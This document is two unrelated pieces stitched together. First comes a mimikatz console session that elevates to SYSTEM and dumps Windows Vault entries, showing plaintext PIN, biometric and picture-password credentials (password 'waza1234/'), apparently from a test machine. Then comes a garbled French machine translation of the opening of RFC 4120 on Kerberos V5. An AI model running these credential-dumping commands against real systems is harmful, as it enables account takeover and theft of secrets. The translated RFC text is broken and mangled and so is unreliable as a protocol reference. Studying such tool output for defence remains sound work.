.#####. mimikatz 2.

0 alpha (x86) release "Kiwi en C" (Jan 23 2014 00:52:44)

.## ^ ##.

## / \ ## /* * *

## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )

'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)

'#####' with 14 modules * * */

mimikatz # privilege::debug

Privilege '20' OK

mimikatz # token::elevate

Token Id : 0

User name :

SID name : AUTORITE NT\Système

408 34205 AUTORITE NT\Système S-1-5-18 (04g,20p) Primary

-> Impersonated !

* Process Token : 1347551 win81\Utilisateur S-1-5-21-650724876-2192615621-2148298248-

1001 (14g,23p) Primary

* Thread Token : 1354005 AUTORITE NT\Système S-1-5-18 (04g,20p) Impersonation

(Delegation)

mimikatz # vault::list

Vault : {4bf4c442-9b8a-41a0-b380-dd4a704ddb28}

Name : Informations d’identification Web

Path : C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Vault\
4BF4C442-9B8A-41A0-B380-DD4A704DDB28

Items (3)

0. PIN Logon Credential

Type : {b2e033f5-5fde-450d-a1bd-3791f465720c}
 LastWritten : 23/01/2014 22:39:26

Flags : 00000000

Ressource : PIN Logon Vault Resource

Identity : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03
00 00

Authenticator :

PackageSid :

Property 0 : 1234

*Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

*** Pin Logon ***

User : win81\Utilisateur

Password : waza1234/

PIN Code : 1234

1. WinBio CredProv Credential

Type : {fec87291-14f6-40b6-bd98-7ff245986b26}

LastWritten : 22/01/2014 23:53:14

Flags : 00000000

Ressource : WinBio CredProv Resource

Identity : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03
00 00

Authenticator :

PackageSid :

Property 0 : 0c 00 00 00 0c 00 00 00 06 00 00 00 55 00 74 00 69 00 6c 00 69 00 73 00 61
00 74 00 65 00 75 00 72 00 00 00 77 00 69 00 6e 00 38 00 31 00 00 00

*Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

*** Biometric ***

User : win81\Utilisateur

Password : waza1234/

Username [ 6] : Utilisateur
 2. Picture Password Credential

Type : {b4b8a12b-183d-4908-9559-bd8bce72b58a}

LastWritten : 22/01/2014 22:34:16

Flags : 00000000

Ressource : Picture Password Vault Resource

Identity : 01 05 00 00 00 00 00 05 15 00 00 00 0c 46 c9 26 c5 a8 b0 82 08 6e 0c 80 e9 03
00 00

Authenticator :

PackageSid :

Property 0 : 02 00 00 00 56 00 00 00 39 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 2f
00 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 00 00 2e 00 00 00 00 00 00 00 00 00
00 00

*Authenticator* : 77 00 61 00 7a 00 61 00 31 00 32 00 33 00 34 00 2f 00 00 00

*** Picture Password ***

User : win81\Utilisateur

Password : waza1234/

Background path : C:\ProgramData\Microsoft\Windows\SystemData\S-1-5-21-650724876-

2192615621-2148298248-1001\ReadOnly\PicturePassword\background.png

Picture password (grid is 150*100)

[0] circle (x = 86 ; y = 57 ; r = 8) - anticlockwise

[1] point (x = 47 ; y = 46)

[2] point (x = 125 ; y = 46)

Groupe de travail sur le réseau C. Neuman

Appel à commentaires: 4120 USC-ISI
Obsolètes: 1510 T. Yu
Catégorie: Standards Track S. Hartman
 K. Raeburn
MIT
Juillet 2005

Le service d'authentification réseau Kerberos (V5)

Statut de ce mémo

Ce document spécifie un protocole de piste de normes Internet pour la

Communauté Internet et demande une discussion et des suggestions de
améliorations. Veuillez vous référer à l'édition actuelle d'Internet
Official Protocol Standards "(STD 1) pour l'état de normalisation
et statut de ce protocole. La distribution de ce mémo est illimitée.

Copyright

Droit d'auteur (C) The Internet Society (2005).

Abstrait

Ce document fournit une vue d'ensemble et une spécification de la

version 5 du
le protocole Kerberos, et rend obsolète le RFC 1510 pour clarifier
certains aspects
du protocole et de son usage prévu nécessitant des informations plus
détaillées ou
explication plus claire que celle fournie dans la RFC 1510. Ce document
est
destiné à fournir une description détaillée du protocole, des
pour la mise en œuvre, avec des descriptions de l'utilisation appropriée
des messages de protocole et des champs au sein de ces messages.

Neuman et al. Standards Track [Page 1]

RFC 4120 Kerberos V5 juillet 2005

Table des matières

1. Introduction ............................................... ..... 5

1.1. Le protocole Kerberos ...................................... 6
 1.2. Fonctionnement inter-
domaines ...................................... 8
1.3. Choisir un principal avec lequel communiquer ............. 9
1.4. Autorisation ............................................. 10
1.5 Extension de Kerberos sans interrompre l’interopérabilité ... 11
1.5.1. Compatibilité avec RFC 1510 ........................ 11
1.5.2. Envoi de messages extensibles ........................ 12
1.6. Hypothèses liées à
l'environnement ................................. 12
1.7. Glossaire ......................................... 13
2. Utilisations et demandes de fanions de
billets ............................... 16
2.1. Initial, pré-authentifié et
Billets authentifiés par le
matériel ............................ 17
2.2. Billets invalides ........................................... 17
2.3. Billets renouvelables ....................................... 17
2.4. Billets postdatés ....................................... 18
2.5. Billets Proxiables et Proxy ............................... 19
2.6 Billets transférables ....................................... 19
2.7 Vérification de la police
transitée ................................. 20
2.8. OK en tant que
délégué ............................................ 21
2.9 Autres options KDC ......................................... 21
2.9.1. Renewable-OK ....................................... 21
2.9.2. ENC-TKT-IN-SKEY .................................... 22
2.9.3. Authentification matérielle sans mot de
passe ............... 22
3. Échanges de messages ..............................................
22
3.1. Le service d’authentification Exchange .......................
22
3.1.1. Génération du message KRB_AS_REQ ................... 24
3.1.2. Réception du message KRB_AS_REQ ...................... 24
3.1.3. Génération du message KRB_AS_REP ................... 24
3.1.4. Génération du message KRB_ERROR .................... 27
3.1.5. Réception du message KRB_AS_REP ...................... 27
3.1.6. Réception du message KRB_ERROR ....................... 28
3.2. Échange d’authentification client / serveur ................. 29
3.2.1. Le message KRB_AP_REQ ............................. 29
3.2.2. Génération d'un message KRB_AP_REQ ................. 29
3.2.3. Réception du message KRB_AP_REQ ...................... 30
3.2.4. Génération d'un message KRB_AP_REP ................. 33
3.2.5. Réception du message KRB_AP_REP ...................... 33
3.2.6. Utilisation de la clé de
cryptage ........................... 33
3.3. L’échange du service d’octroi de tickets (TGS) ................
34
3.3.1. Génération du message KRB_TGS_REQ .................. 35
3.3.2. Réception du message KRB_TGS_REQ ..................... 37
3.3.3. Génération du message KRB_TGS_REP .................. 38
3.3.4. Réception du message KRB_TGS_REP ..................... 42

Neuman et al. Standards Track [Page 2]

RFC 4120 Kerberos V5 juillet 2005

 3.4. L'échange KRB_SAFE ..................................... 42
3.4.1. Génération d'un message KRB_SAFE ................... 42
3.4.2. Réception du message KRB_SAFE ........................ 43
3.5 L'échange KRB_PRIV ..................................... 44
3.5.1. Génération d'un message KRB_PRIV ................... 44
3.5.2. Réception du message KRB_PRIV ........................ 44
3.6. L'échange KRB_CRED ..................................... 45
3.6.1. Génération d'un message KRB_CRED ................... 45
3.6.2. Réception du message KRB_CRED ........................ 46
3.7. Echanges d’authentification d’utilisateur à
utilisateur ..................... 47
4. Spécifications de chiffrement et de somme de
contrôle ......................... 48
5. Spécifications du message .........................................
50
5.1. Notes de compatibilité spécifiques à
l'ASN.1 ..................... 51
5.1.1. Règles de codage distinctives ASN.1 ................. 51
5.1.2. Champs entiers facultatifs ............................
52
5.1.3. SEQUENCE DES TYPES VIDES ............................ 52
5.1.4. Numéros d'étiquette non
reconnus ........................... 52
5.1.5. Numéros d'étiquette supérieurs à
30 ........................ 53
5.2. Types Kerberos de base ...................................... 53
5.2.1. KerberosString ..................................... 53
5.2.2. Domaine et nom principal ............................ 55
5.2.3. KerberosTime ....................................... 55
5.2.4. Types de nombre entier
contraint .......................... 55
5.2.5. HostAddress et HostAddresses ...................... 56
5.2.6. AuthorizationData .................................. 57
5.2.7. PA-DATA ............................................ 60
5.2.8. KerberosFlags ...................................... 64
5.2.9. Types liés au cryptosystème ......................... 65
5.3. Des
billets ................................................. ..66
5.4. Spécifications pour les échanges AS et TGS ............... 73
5.4.1. KRB_KDC_REQ Définition ............................. 73
5.4.2. KRB_KDC_REP Définition ............................. 81
5.5. Spécifications des messages client / serveur
(CS) .................. 84
5.5.1. KRB_AP_REQ Définition .............................. 84
5.5.2. KRB_AP_REP Définition .............................. 88
5.5.3. Réponse à un message
d'erreur ................................ 89
5.6 KRB_SAFE Spécification de message ............................ 89
5.6.1. Définition KRB_SAFE ................................ 89
5.7 KRB_PRIV Spécification de message ............................ 91
5.7.1. KRB_PRIV Définition ................................ 91
5.8. KRB_CRED Spécification de message ............................
92
5.8.1. KRB_CRED Définition ................................ 92
5.9 Spécification du message d'erreur ...............................
94
5.9.1. KRB_ERROR Définition ............................... 94
5.10. Numéros d'étiquette
d'application .................................. 96
Neuman et al. Standards Track [Page 3]

RFC 4120 Kerberos V5 juillet 2005

6. Contraintes de
dénomination .............................................. 97
6.1. Noms de domaines ...............................................
97
6.2. Noms principaux .......................................... 99
6.2.1. Nom du serveur principal ......................... 100
7. Constantes et autres valeurs définies ............................
101
7.1. Types d'adresse d'hôte .......................................
101
7.2. KDC Messaging: Transports IP ............................. 102
7.2.1. Transport UDP / IP .................................. 102
7.2.2. Transport TCP / IP .................................. 103
7.2.3. Découverte KDC sur les réseaux IP ......................
104
7.3. Nom du TGS .......................................... 105
7.4. OID Arc pour KerberosV5 ................................... 106
7.5. Constantes de protocole et valeurs associées .................
106
7.5.1. Numéros d'utilisation des
clés ................................. 106
7.5.2. Types de données de pré-
authentification ...................... 108
7.5.3. Types d'adresses .....................................
109
7.5.4. Types de données
d'autorisation .......................... 109
7.5.5. Types de codage transmis .......................... 109
7.5.6. Numéro de version du
protocole ........................... 109
7.5.7. Types de message Kerberos ............................
110
7.5.8. Types de noms ........................................
110
7.5.9. Codes d'erreur .......................................
110
8. Exigences en matière
d'interopérabilité ............................................... 113
8.1. Spécification 2 .......................................... 113
8.2. Valeurs KDC recommandées ................................... 116
9. Considérations IANA .......
10. Considérations sur la
sécurité ...................................... 117
11. Remerciements ............................................. 121
A. Module ASN.1 ............................................ ...... 123
B. Changements depuis la RFC
1510 ........................................ 131
Références normatives ............................................. 134
Références informatives ........................................... 135
Neuman et al. Standards Track [Page 4]

RFC 4120 Kerberos V5 juillet 2005

1. Introduction

Ce document décrit les concepts et le modèle sur lesquels le

Le système d'authentification réseau Kerberos est basé. Il spécifie
également
Version 5 du protocole Kerberos. Les motivations, les objectifs,
les hypothèses et la justification de la plupart des décisions de
conception sont traitées
à la volée; ils sont décrits plus en détail dans un article disponible
dans IEEE
communications [NT94] et plus tôt dans la partie Kerberos du
Plan technique Athena [MNSS87].

Ce document n'est pas destiné à décrire Kerberos à l'utilisateur final,

administrateur système ou développeur d'applications. Papiers de niveau
supérieur
décrivant la version 5 du système Kerberos [NT94] et documentant
la version 4 [SNS88] est disponible ailleurs.

Le modèle Kerberos est basé en partie sur celui de Needham et Schroeder

protocole d’authentification tiers approuvé [NS78] et sur
modifications suggérées par Denning et Sacco [DS81]. L'original
la conception et la mise en œuvre des versions 1 à 4 de Kerberos était
la
travail de deux anciens membres du personnel du projet Athena, Steve
Miller de
Digital Equipment Corporation et Clifford Neuman (maintenant au
Institut des sciences de l’information de l’Université de Southern
Californie), avec Jerome Saltzer, directeur technique du projet
Athena et Jeffrey Schiller, gestionnaire du réseau de campus du MIT.
Beaucoup d'autres
membres du projet Athena ont également contribué au travail sur
Kerberos.

La version 5 du protocole Kerberos (décrite dans ce document) a

évolué en raison de nouvelles exigences et de désirs de fonctionnalités
non
 disponible dans la version 4. Le design de la version 5 a été dirigé par
Clifford
Neuman et John Kohl avec beaucoup de contribution de la communauté. le
L’élaboration de la mise en œuvre de la référence MIT a été menée au MIT
par
John Kohl et Theodore Ts'o, avec l’aide et le code de nombreuses
personnes
autres. Depuis la publication de la RFC 1510, de nombreuses personnes
ont proposé
extensions et révisions du protocole. Ce document reflète
certaines de ces propositions. Lorsque de tels changements impliquent
des
effort, le document cite la contribution du proposant.

Implémentations de référence des versions 4 et 5 de Kerberos

sont accessibles au public et des implémentations commerciales ont été
développé et sont largement utilisés. Détails sur les différences entre
Les versions 4 et 5 peuvent être trouvées dans [KNT94].

Les mots clés "DOIT", "NE DOIT PAS", "REQUIS", "DOIT", "NE DOIT PAS",
"NE DEVRAIT PAS", "NE DEVRAIT PAS", "RECOMMANDÉ", "PEUT" et "FACULTATIF"
dans cette
document doivent être interprétés comme décrit dans la [RFC2119].

Neuman et al. Standards Track [Page 5]

RFC 4120 Kerberos V5 juillet 2005

1.1. Le protocole Kerberos

Kerberos permet de vérifier l’identité des donneurs d’ordre,

(par exemple, un utilisateur de poste de travail ou un serveur de
réseau) sur un ordinateur ouvert.
réseau (non protégé). Ceci est accompli sans compter sur
assertions du système d'exploitation hôte, sans base de confiance sur
l'hôte
adresses, sans exiger la sécurité physique de tous les hôtes sur
réseau, et en supposant que les paquets voyageant le long de
le réseau peut être lu, modifié et inséré à volonté. Kerberos
effectue l'authentification dans ces conditions en tant que tiers de
confiance.
service d’authentification de partie en utilisant un système
conventionnel (secret partagé)
clé) cryptographie. Extensions à Kerberos (en dehors du champ
d'application de cette
document) peut prévoir l’utilisation de la cryptographie à clé publique
pendant
certaines phases du protocole d'authentification. De telles extensions
prend en charge l'authentification Kerberos pour les utilisateurs
enregistrés avec une clé publique
autorités de certification et fournissent certains avantages de la clé
publique
cryptographie dans les situations où ils sont nécessaires.

Le processus d’authentification de base Kerberos se déroule comme suit:

A
 client envoie une demande au serveur d’authentification (AS) pour
"informations d'identification" pour un serveur donné. L'AS répond avec
ces
informations d'identification, chiffrées dans la clé du client. Les
informations d'identification consistent
"ticket" pour le serveur et une clé de chiffrement temporaire (souvent
appelée "clé de session"). Le client transmet le ticket (qui
contient l'identité du client et une copie de la clé de session, le tout
crypté dans la clé du serveur) sur le serveur. La clé de session
(maintenant
partagé par le client et le serveur) est utilisé pour authentifier le
client
et peut éventuellement être utilisé pour authentifier le serveur. Il
peut aussi
être utilisé pour crypter d'autres communications entre les deux parties
ou
pour échanger une clé de sous-session séparée à utiliser pour chiffrer
davantage
la communication. Notez que de nombreuses applications utilisent les
fonctions de Kerberos
uniquement lors de l'établissement d'une connexion réseau basée sur un
flux.
Sauf si une application effectue un cryptage ou une protection de
l'intégrité pour
le flux de données, la vérification de l'identité ne s'applique qu'au
l'initiation de la connexion, et il ne garantit pas que
les messages suivants sur la connexion proviennent du même
principal.

La mise en œuvre du protocole de base consiste en un ou plusieurs

serveurs d'authentification fonctionnant sur des hôtes physiquement
sécurisés. le
Les serveurs d'authentification gèrent une base de données de donneurs
d'ordre (utilisateurs
et serveurs) et leurs clés secrètes. Les bibliothèques de codes
fournissent
chiffrement et implémenter le protocole Kerberos. Pour ajouter
authentification à ses transactions, une application réseau typique
ajoute des appels à la bibliothèque Kerberos directement ou par le biais
du serveur générique.
Interface de programmation d'application des services de sécurité (GSS-
API)
décrit dans un document séparé [RFC4121]. Ces appels se traduisent par
la transmission des messages nécessaires à l'authentification.

Neuman et al. La voie des normes [Page 6]

RFC 4120 Kerberos V5 juillet 2005

Le protocole Kerberos comprend plusieurs sous-protocoles (ou

des échanges). Il existe deux méthodes de base par lesquelles un client
peut demander à un
Serveur Kerberos pour les informations d'identification. Dans la
première approche, le client
envoie une demande de texte en clair pour un ticket du serveur souhaité
au
COMME. La réponse est envoyée cryptée dans la clé secrète du client.
habituellement
 cette demande concerne un ticket d'octroi de ticket (TGT), qui peut
ultérieurement
être utilisé avec le serveur d'octroi de tickets (TGS). Dans la seconde
méthode,
le client envoie une demande au TGS. Le client utilise le TGT pour
s'authentifier auprès du TGS de la même manière que s'il était
contacter tout autre serveur d'applications nécessitant Kerberos
authentification. La réponse est cryptée dans la clé de session à partir
du
TGT. Bien que la spécification du protocole décrit l’AS et le TGS
en tant que serveurs distincts, dans la pratique, ils sont implémentés
de manière différente.
points d'entrée de protocole au sein d'un seul serveur Kerberos.

Une fois obtenues, les informations d'identification peuvent être

utilisées pour vérifier l'identité du
principes dans une transaction, pour assurer l'intégrité des messages
échangés entre eux, ou pour préserver la confidentialité des messages.
le
L’application est libre de choisir la protection nécessaire.

Pour vérifier les identités des mandants dans une transaction, le

Le client transmet le ticket au serveur d'applications. Parce que le
le ticket est envoyé "en clair" (certaines parties sont cryptées, mais
cette
le cryptage ne contrecarre pas la répétition) et peut être intercepté et
réutilisé
par un attaquant, des informations supplémentaires sont envoyées pour
prouver que le
Le message a été envoyé au principal destinataire du ticket.
Cette information (appelée authentificateur) est cryptée dans le
clé de session et comprend un horodatage. L’horodatage prouve que le
Le message a été généré récemment et n'est pas une relecture. Crypter le
L’authentifiant dans la clé de session prouve qu’il a été généré par un
partie possédant la clé de session. Depuis personne sauf le demandeur
le principal et le serveur connaissent la clé de session (elle n’est
jamais envoyée
le réseau en clair), cela garantit l'identité du
client.

L’intégrité des messages échangés entre les donneurs d’ordre peut

également
être garanti en utilisant la clé de session (transmise dans le ticket et
contenus dans les pouvoirs). Cette approche permet de détecter
attaques de rejeu et attaques de modification de flux de messages. Il
est
accompli en générant et en transmettant une résistance aux collisions
somme de contrôle (appelée ailleurs fonction de hachage ou de digestion)
du client
message, saisi avec la clé de session. Confidentialité et intégrité du
les messages échangés entre les directeurs peuvent être sécurisés par
cryptage
les données à transmettre à l'aide de la clé de session contenue dans le
ticket ou la clé de sous-session trouvée dans l'authentificateur.

Neuman et al. Standards Track [Page 7]

RFC 4120 Kerberos V5 juillet 2005

Les échanges d'authentification mentionnés ci-dessus nécessitent un

accès en lecture seule
à la base de données Kerberos. Parfois, cependant, les entrées dans la
base de données doit être modifiée, par exemple lors de l'ajout de
nouveaux donneurs d'ordre ou
changer la clé d'un principal. Ceci est fait en utilisant un protocole
entre un
client et un troisième serveur Kerberos, l’administration Kerberos
Serveur (KADM). Il existe également un protocole pour maintenir
plusieurs
des copies de la base de données Kerberos. Aucun de ces protocoles n'est
décrit dans ce document.

1.2. Opération inter-domaines

Le protocole Kerberos est conçu pour fonctionner à travers les

organisations.
limites. Un client d'une organisation peut être authentifié auprès d'un
serveur dans un autre. Chaque organisation souhaitant exécuter un
Kerberos
Le serveur établit son propre "royaume". Le nom du royaume dans lequel
un
le client est enregistré fait partie du nom du client et peut être
utilisé par
le service final pour décider s'il convient d'accepter une demande.

En établissant des clés "inter-domaines", les administrateurs de deux

domaines
peut permettre à un client authentifié dans le domaine local de prouver
sa
identité aux serveurs d'autres domaines. L'échange d'inter-royaume
clés (une clé séparée peut être utilisée pour chaque direction)
enregistre le
service de distribution de billets de chaque royaume en tant que
principal dans l'autre
domaine. Un client est alors capable d’obtenir un TGT pour le domaine
distant.
service de distribution de billets de son royaume. Lorsque ce TGT est
utilisé,
le service d’octroi de tickets à distance utilise la clé inter-domaine
(qui
diffère généralement de sa propre clé TGS normale) pour déchiffrer le
TGT; Ainsi
il est certain que le ticket a été émis par le TGS du client.
Les billets émis par le service d’octroi de billets à distance
indiqueront à
le service final que le client a été authentifié à partir d'un autre
domaine.

Sans opération inter-domaines, et avec la permission appropriée, le

le client peut organiser l’enregistrement d’un mandant nommé séparément
dans un
royaume à distance et engager des échanges normaux avec ce royaume
prestations de service. Cependant, même pour un petit nombre de clients,
cela devient
méthodes encombrantes et plus automatiques telles que décrites ici sont
nécessaire.
 On dit qu'un royaume communique avec un autre royaume si les deux
royaumes
partager une clé inter-domaine, ou si le domaine local partage un inter-
domaine
clé avec un royaume intermédiaire qui communique avec la télécommande
domaine. Un chemin d'authentification est la séquence de domaines
intermédiaires
qui transitent dans la communication d’un royaume à l’autre.

Les royaumes peuvent être organisés hiérarchiquement. Chaque royaume

partage une clé avec
son parent et une clé différente avec chaque enfant. Si un inter-royaume
clé n'est pas directement partagée par deux domaines, le hiérarchique
organisation permet de créer facilement un chemin d’authentification.

Neuman et al. La voie des normes [Page 8]

RFC 4120 Kerberos V5 juillet 2005

Si une organisation hiérarchique n’est pas utilisée, il peut être

nécessaire de
consulter une base de données afin de construire un chemin
d'authentification
entre les royaumes.

Bien que les domaines soient généralement hiérarchiques, des domaines

intermédiaires peuvent
être contourné pour réaliser l’authentification entre les domaines par
le biais
chemins d'authentification. (Ceux-ci pourraient être établis pour faire
communication entre deux domaines plus efficace.) Il est important
pour le service final de savoir quels domaines ont été transités pour
décider
combien de foi à placer dans le processus d'authentification. Faciliter
cette décision, un champ dans chaque ticket contient les noms des
royaumes impliqués dans l’authentification du client.

Le serveur d’application est en dernier ressort responsable de

l’acceptation ou de
rejeter l'authentification et DEVRAIT vérifier le champ transité. le
le serveur d'applications peut choisir de s'appuyer sur le centre de
distribution de clés
(KDC) pour que le domaine du serveur d’application vérifie le transit
champ. Le KDC du serveur d’application définira le
Dans ce cas, le drapeau TRANSITED-POLICY-CHECKED. Les KDC pour
les royaumes intermédiaires peuvent également vérifier le champ transité
au fur et à mesure qu'ils émettent
TGT pour d’autres domaines, mais ils sont encouragés à ne pas le faire.
UNE
Le client peut demander que les KDC ne vérifient pas le champ transité
en
régler le drapeau DISABLE-TRANSITED-CHECK. Les KDC DEVRAIENT honorer
cette
drapeau.

1.3. Choisir un principal avec lequel communiquer

 Le protocole Kerberos fournit les moyens de vérifier (sous réserve de
les hypothèses de la section 1.6) que l’entité avec laquelle on
communique est la même entité qui a été enregistrée avec le KDC
en utilisant l'identité revendiquée (nom principal). Il faut encore
déterminer si cette identité correspond à l'entité avec laquelle
lequel on a l'intention de communiquer.

Lorsque des données appropriées ont été échangées à l'avance,

l'application
peut effectuer cette détermination syntaxiquement en fonction de
l'application
la spécification du protocole, les informations fournies par
l'utilisateur, et
fichiers de configuration. Par exemple, le nom principal du serveur
(y compris le domaine) pour un serveur telnet peut être dérivé de la
nom d'hôte spécifié par l'utilisateur (à partir de la ligne de commande
telnet), le "hôte /"
préfixe spécifié dans la spécification du protocole d'application, et un
mappage sur un royaume Kerberos dérivé syntaxiquement du domaine
une partie du nom d’hôte spécifié et des informations du serveur local
Base de données de royaumes Kerberos.

On peut aussi compter sur des tiers de confiance pour faire cela
détermination, mais seulement lorsque les données obtenues du tiers
est convenablement protégé en intégrité pendant qu'il réside sur le
tiers

Neuman et al. La voie des normes [Page 9]

RFC 4120 Kerberos V5 juillet 2005

serveur et lors de la transmission. Ainsi, par exemple, il ne faut pas

compter sur
sur un enregistrement DNS non protégé pour mapper un alias d'hôte sur le
nom principal
d'un serveur, en acceptant le nom principal comme la partie que l'on a
l'intention
contacter, puisqu’un attaquant peut modifier le mappage et emprunter
l’identité
la fête.

Les implémentations de Kerberos et les protocoles basés sur Kerberos NE

DOIVENT PAS
utiliser des requêtes DNS non sécurisées pour canoniser les composants
de nom d'hôte de
les noms des principaux de service (c’est-à-dire qu’ils NE DOIVENT PAS
utiliser de DNS
requêtes pour mapper un nom à un autre afin de déterminer la partie hôte
de la
nom principal avec lequel on doit communiquer). Dans un environnement
sans service de noms sécurisé, les auteurs d'applications PEUVENT
annexer un
nom de domaine configuré de manière statique en noms d’hôte non
qualifiés avant
transmettre le nom aux mécanismes de sécurité, mais ils ne devraient pas
plus que ça. Les services de noms sécurisés, le cas échéant, pourraient
être digne de confiance pour la canonisation du nom d’hôte, mais cette
canonisation
 par le client NE DEVRAIT PAS être requis par les implémentations KDC.

Note d’implémentation: de nombreuses implémentations actuelles font un

certain degré de
canonisation du nom du service fourni, en utilisant souvent DNS même
bien que cela crée des problèmes de sécurité. Cependant, il n'y a pas
cohérence entre les implémentations quant à savoir si le nom du service
est
cas plié en minuscule ou si résolution inverse est utilisée. À
maximiser l'interopérabilité et la sécurité, les applications DEVRAIENT
fournir
mécanismes de sécurité dont les noms résultent du pliage de
nom entré en minuscule sans effectuer d'autres modifications
ou canonisation.

1.4. Autorisation

En tant que service d’authentification, Kerberos offre un moyen de

vérifier
l'identité des principaux sur un réseau. L'authentification est
généralement
utile principalement comme première étape du processus d'autorisation,
déterminer si un client peut utiliser un service qui fait l'objet de la
le client est autorisé à accéder et le type d'accès autorisé pour
chacun.
Kerberos ne fournit pas d’autorisation en soi. Possession d'un
ticket client pour un service ne fournit que l’authentification du
client à ce service, et en l'absence d'un mandataire séparé
procédure d'autorisation, une demande ne doit pas considérer
autoriser l'utilisation de ce service.

Des méthodes d'autorisation distinctes PEUVENT être mises en œuvre en

tant qu'application-
fonctions de contrôle d’accès spécifiques et peuvent utiliser des
fichiers sur le serveur.
serveur d'applications, sur les informations d'identification émises
séparément
comme ceux basés sur des mandataires [Neu93], ou sur une autre
autorisation
prestations de service. Des identifiants d’authentification authentifiés
séparément PEUVENT être
intégré dans les données d'autorisation d'un ticket lorsqu'il est
encapsulé par le
Élément de données d'autorisation délivré par KDC.

Neuman et al. La voie des normes [Page 10]

RFC 4120 Kerberos V5 juillet 2005

Les applications ne doivent pas accepter la simple émission d'un ticket

de service
par le serveur Kerberos (même par un serveur Kerberos modifié) en tant
que
habilitant à utiliser le service, étant donné que ces applications
peuvent
devenir vulnérable au contournement de cette vérification d'autorisation
dans un
 environnement où d’autres options pour l’authentification des
applications sont disponibles.
fournis, ou s’ils interagissent avec d’autres KDC.

1.5 Extension de Kerberos sans interrompre l'interopérabilité

Au fur et à mesure que la base déployée d’implémentations Kerberos se

développe,
Kerberos devient plus important. Malheureusement, certaines extensions
de
le protocole Kerberos existant crée des problèmes d’interopérabilité car
d'incertitude concernant le traitement de certaines extensibilités
options par certaines implémentations. Cette section comprend des
directives
cela permettra aux futures mises en œuvre de maintenir
l'interopérabilité.

Kerberos fournit un mécanisme général pour l'extensibilité de protocole.

Certains messages de protocole contiennent des trous typés - des sous-
messages qui
contient une chaîne d'octets avec un entier qui définit comment
interpréter la chaîne d'octets. Les types entiers sont enregistrés
centralement, mais ils peuvent être utilisés à la fois pour les
extensions de fournisseur et pour
extensions normalisées par l’IETF.

Dans ce document, le mot "extension" désigne l'extension par

définir un nouveau type à insérer dans un trou typé existant dans un
message de protocole. Il ne fait pas référence à l’extension par
addition de nouvelles
des champs aux types ASN.1, à moins que le texte n'indique explicitement
autrement.

1.5.1. Compatibilité avec RFC 1510

Notez que les formats de message Kerberos existants ne peuvent pas être
facilement
étendu en ajoutant des champs aux types ASN.1. Envoi supplémentaire
champs aboutit souvent à ce que le message tout entier soit jeté sans
indication d'erreur. Les futures versions de cette spécification
fourniront
des instructions permettant d’ajouter des champs ASN.1 sans créer
un problème d'interopérabilité.

Entre-temps, toutes les implémentations nouvelles ou modifiées de

Kerberos qui
recevoir une extension de message inconnue DEVRAIT conserver l’encodage
de
l'extension mais ignorent sinon sa présence. Les destinataires ne
doivent pas
refuser une demande simplement parce qu'une extension est présente.

Il y a une exception à cette règle. Si une autorisation inconnue

Le type d'élément de données est reçu par un serveur autre que le
destinataire du ticket.
service octroyé soit dans un AP-REQ, soit dans un ticket contenu dans un
AP-REQ, alors l'authentification DOIT échouer. Une des utilisations
principales de
Les données d'autorisation servent à restreindre l'utilisation du
ticket. Si la
Neuman et al. La voie des normes [Page 11]

RFC 4120 Kerberos V5 juillet 2005

service ne peut déterminer si la restriction s'applique à cette

service, une faiblesse de sécurité peut en résulter si le ticket peut
être
utilisé pour ce service. Éléments d'autorisation facultatifs
DEVRAIT être inclus dans l'élément AD-IF-RELEVANT.

Le service d'octroi de tickets DOIT ignorer mais se propager à dérivé

tickets tous les types de données d'autorisation inconnus, sauf si ces
types de données
sont incorporés dans un élément OBLIGATOIRE-POUR-KDC, auquel cas la
demande sera rejetée. Ce comportement est approprié car
exigeant que le service d'octroi de billets comprenne inconnu
les types de données d'autorisation nécessiteraient la mise à niveau du
logiciel KDC
pour comprendre les nouvelles restrictions au niveau des applications
avant les applications
utilisé ces restrictions, diminuant l'utilité des données d'autorisation
mécanisme permettant de restreindre l’utilisation des tickets. Pas de
sécurité
le problème est créé parce que les services pour lesquels les tickets
sont émis
vérifiera les données d'autorisation.

Note d'implémentation: de nombreuses implémentations de la RFC 1510

ignorent l'inconnu
éléments de données d'autorisation. En fonction de ces implémentations à
respecter les restrictions des données d'autorisation peut créer une
faille de sécurité.

1.5.2. Envoi de messages extensibles

Il faut veiller à ce que les anciennes implémentations puissent

comprendre
les messages qui leur sont envoyés, même s'ils ne comprennent pas une
extension
qui est utilisé. À moins que l'expéditeur sache qu'une extension est
supportée, l'extension ne peut pas changer la sémantique du noyau
message ou les extensions précédemment définies.

Par exemple, une extension comprenant les informations clés nécessaires

pour
décrypter la partie cryptée d'un KDC-REP ne peut être utilisé que dans
situations où le destinataire était connu pour supporter l'extension.
Ainsi, lors de la conception de telles extensions, il est important de
fournir un moyen
pour que le destinataire informe l'expéditeur du support de l'extension.
Par exemple dans le cas d’une extension qui change le KDC-REP
touche de réponse, le client peut indiquer le support de l'extension en
incluant un élément padata dans la séquence AS-REQ. Le KDC devrait
n'utilisez l'extension que si cet élément padata est présent dans le
AS-REQ. Même si la politique nécessite l’utilisation de l’extension, il
est
préférable de retourner une erreur indiquant que l'extension est requise
 que d'utiliser l'extension lorsque le destinataire peut ne pas la
prendre en charge.
Le débogage d’implémentations qui n’interopèrent pas est plus facile
lorsque
les erreurs sont renvoyées.

1.6. Hypothèses environnementales

Kerberos impose quelques hypothèses sur l'environnement dans lequel il

peut
fonctionner correctement, notamment:

Neuman et al. La voie des normes [Page 12]

RFC 4120 Kerberos V5 juillet 2005

* Les attaques de "déni de service" ne sont pas résolues avec Kerberos.

Là
sont des endroits dans les protocoles où un intrus peut empêcher une
l'application de participer aux étapes d'authentification
appropriées.
Détection et solution de telles attaques (dont certaines peuvent
apparaître
être des modes de défaillance "normaux" non-inhabituels pour le
système) sont
généralement préférable de laisser aux administrateurs humains et
utilisateurs.

